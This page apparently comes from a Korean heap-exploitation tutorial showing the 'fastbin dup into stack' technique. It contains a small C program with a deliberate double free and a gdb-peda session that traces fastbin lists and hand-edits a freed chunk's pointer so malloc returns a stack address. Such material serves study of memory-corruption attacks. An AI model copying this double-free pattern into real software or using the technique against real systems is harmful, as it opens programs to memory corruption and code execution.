Excuse the ads! We need some help to keep our site up.
#include <stdio.h> #include <stdlib.h> int main() { long stack_var = 0x0; printf("Stack_var : %p\n",&stack_var); char *buf1 = malloc(112); char *buf2 = malloc(112); char *buf3 = malloc(112); free(buf1); free(buf2); free(buf1); char *buf4 = malloc(112); char *buf5 = malloc(112); printf("buf4 size : %ld\n",sizeof(buf4)); scanf("%ld",&stack_var); scanf("%8s",buf4); char *buf6 = malloc(112); char *buf7 = malloc(112); scanf("%100s",buf7); } |
0x400684 : 1번재 free() 함수 호출
0x400695 : 2번재 free() 함수 호출 후
0x4006a1 : 3번재 free() 함수 호출 후
0x4006ab : 4번째 malloc() 함수 호출
0x4006b9 : 5번째 malloc() 함수 호출
0x4006f8 : scanf(buf4) 함수 호출
0x400707 : 6번째 malloc() 함수 호출
0x400715 : 7번째 malloc() 함수 호출
gdb-peda$ b *0x0000000000400684 Breakpoint 1 at 0x400684 gdb-peda$ b *0x0000000000400695 Breakpoint 2 at 0x400695 gdb-peda$ b *0x00000000004006a1 Breakpoint 3 at 0x4006a1 gdb-peda$ b *0x00000000004006ab Breakpoint 4 at 0x4006ab gdb-peda$ b *0x00000000004006b9 Breakpoint 5 at 0x4006b9 gdb-peda$ b *0x00000000004006f8 Breakpoint 6 at 0x4006f8 gdb-peda$ b *0x0000000000400707 Breakpoint 7 at 0x400707 gdb-peda$ b *0x0000000000400715 Breakpoint 8 at 0x400715 gdb-peda$ r Starting program: /home/lazenca0x0/Documents/def/fastbin_dup_into_stack Stack_var : 0x7fffffffe220 |
Breakpoint 1, 0x0000000000400684 in main () gdb-peda$ p main_arena.fastbinsY $1 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$ ni 0x0000000000400689 in main () gdb-peda$ p main_arena.fastbinsY $2 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000000000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 2, 0x0000000000400695 in main () gdb-peda$ p main_arena.fastbinsY $3 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000000000 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000602000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$ |
gdb-peda$ c Continuing. Breakpoint 3, 0x00000000004006a1 in main () gdb-peda$ p main_arena.fastbinsY $4 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} gdb-peda$ x/50gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x0000000000602080 0x0000000000000000 0x602020: 0x0000000000000000 0x0000000000000000 0x602030: 0x0000000000000000 0x0000000000000000 0x602040: 0x0000000000000000 0x0000000000000000 0x602050: 0x0000000000000000 0x0000000000000000 0x602060: 0x0000000000000000 0x0000000000000000 0x602070: 0x0000000000000000 0x0000000000000000 0x602080: 0x0000000000000000 0x0000000000000081 0x602090: 0x0000000000602000 0x0000000000000000 0x6020a0: 0x0000000000000000 0x0000000000000000 0x6020b0: 0x0000000000000000 0x0000000000000000 0x6020c0: 0x0000000000000000 0x0000000000000000 0x6020d0: 0x0000000000000000 0x0000000000000000 0x6020e0: 0x0000000000000000 0x0000000000000000 0x6020f0: 0x0000000000000000 0x0000000000000000 0x602100: 0x0000000000000000 0x0000000000000081 0x602110: 0x0000000000000000 0x0000000000000000 0x602120: 0x0000000000000000 0x0000000000000000 0x602130: 0x0000000000000000 0x0000000000000000 0x602140: 0x0000000000000000 0x0000000000000000 0x602150: 0x0000000000000000 0x0000000000000000 0x602160: 0x0000000000000000 0x0000000000000000 0x602170: 0x0000000000000000 0x0000000000000000 0x602180: 0x0000000000000000 0x0000000000020e81 gdb-peda$ |
0x602000 → 0x602080 → 0x602000 → 0x602080
gdb-peda$ c Continuing. Breakpoint 4, 0x00000000004006ab in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.fastbinsY $5 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602080, 0x0, 0x0, 0x0} gdb-peda$ c Continuing. Breakpoint 5, 0x00000000004006b9 in main () gdb-peda$ i r rax rax 0x602090 0x602090 gdb-peda$ p main_arena.fastbinsY $6 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602000, 0x0, 0x0, 0x0} |
stack_var(0x7fffffffe220) - prev_size(0x8) = 0x7fffffffe218
gdb-peda$ c Continuing. buf4 size : 8 128 Breakpoint 6, 0x00000000004006f8 in main () gdb-peda$ x/gx 0x7fffffffe220 0x7fffffffe220: 0x0000000000000080 gdb-peda$ ni AAAAAAAA 0x00000000004006fd in main () gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x4141414141414141 0x0000000000000000 gdb-peda$ set *0x602010 = 0x7fffffffe220 - 0x8 gdb-peda$ set *0x602014 = 0x7fff gdb-peda$ x/gx 0x602010 0x602010: 0x00007fffffffe218 gdb-peda$ x/4gx 0x602000 0x602000: 0x0000000000000000 0x0000000000000081 0x602010: 0x00007fffffffe218 0x0000000000000000 |
gdb-peda$ c Continuing. Breakpoint 7, 0x0000000000400707 in main () gdb-peda$ i r rax rax 0x602010 0x602010 gdb-peda$ p main_arena.fastbinsY $7 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x7fffffffe218, 0x0, 0x0, 0x0} gdb-peda$ c Continuing. Breakpoint 8, 0x0000000000400715 in main () gdb-peda$ i r rax rax 0x7fffffffe228 0x7fffffffe228 gdb-peda$ p main_arena.fastbinsY $8 = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x602010, 0x0, 0x0, 0x0} gdb-peda$ x/20gx 0x7fffffffe228 - 0x10 0x7fffffffe218: 0x0000000000400715 0x0000000000000080 0x7fffffffe228: 0x0000000000602010 0x0000000000602090 0x7fffffffe238: 0x0000000000602110 0x0000000000602010 0x7fffffffe248: 0x0000000000602090 0x0000000000602010 0x7fffffffe258: 0x0000000000000000 0x0000000000000000 0x7fffffffe268: 0x00007ffff7a32f45 0x0000000000000000 0x7fffffffe278: 0x00007fffffffe358 0x0000000100000000 0x7fffffffe288: 0x000000000040062d 0x0000000000000000 0x7fffffffe298: 0x4b0a417085002861 0x0000000000400540 0x7fffffffe2a8: 0x00007fffffffe350 0x0000000000000000 gdb-peda$ |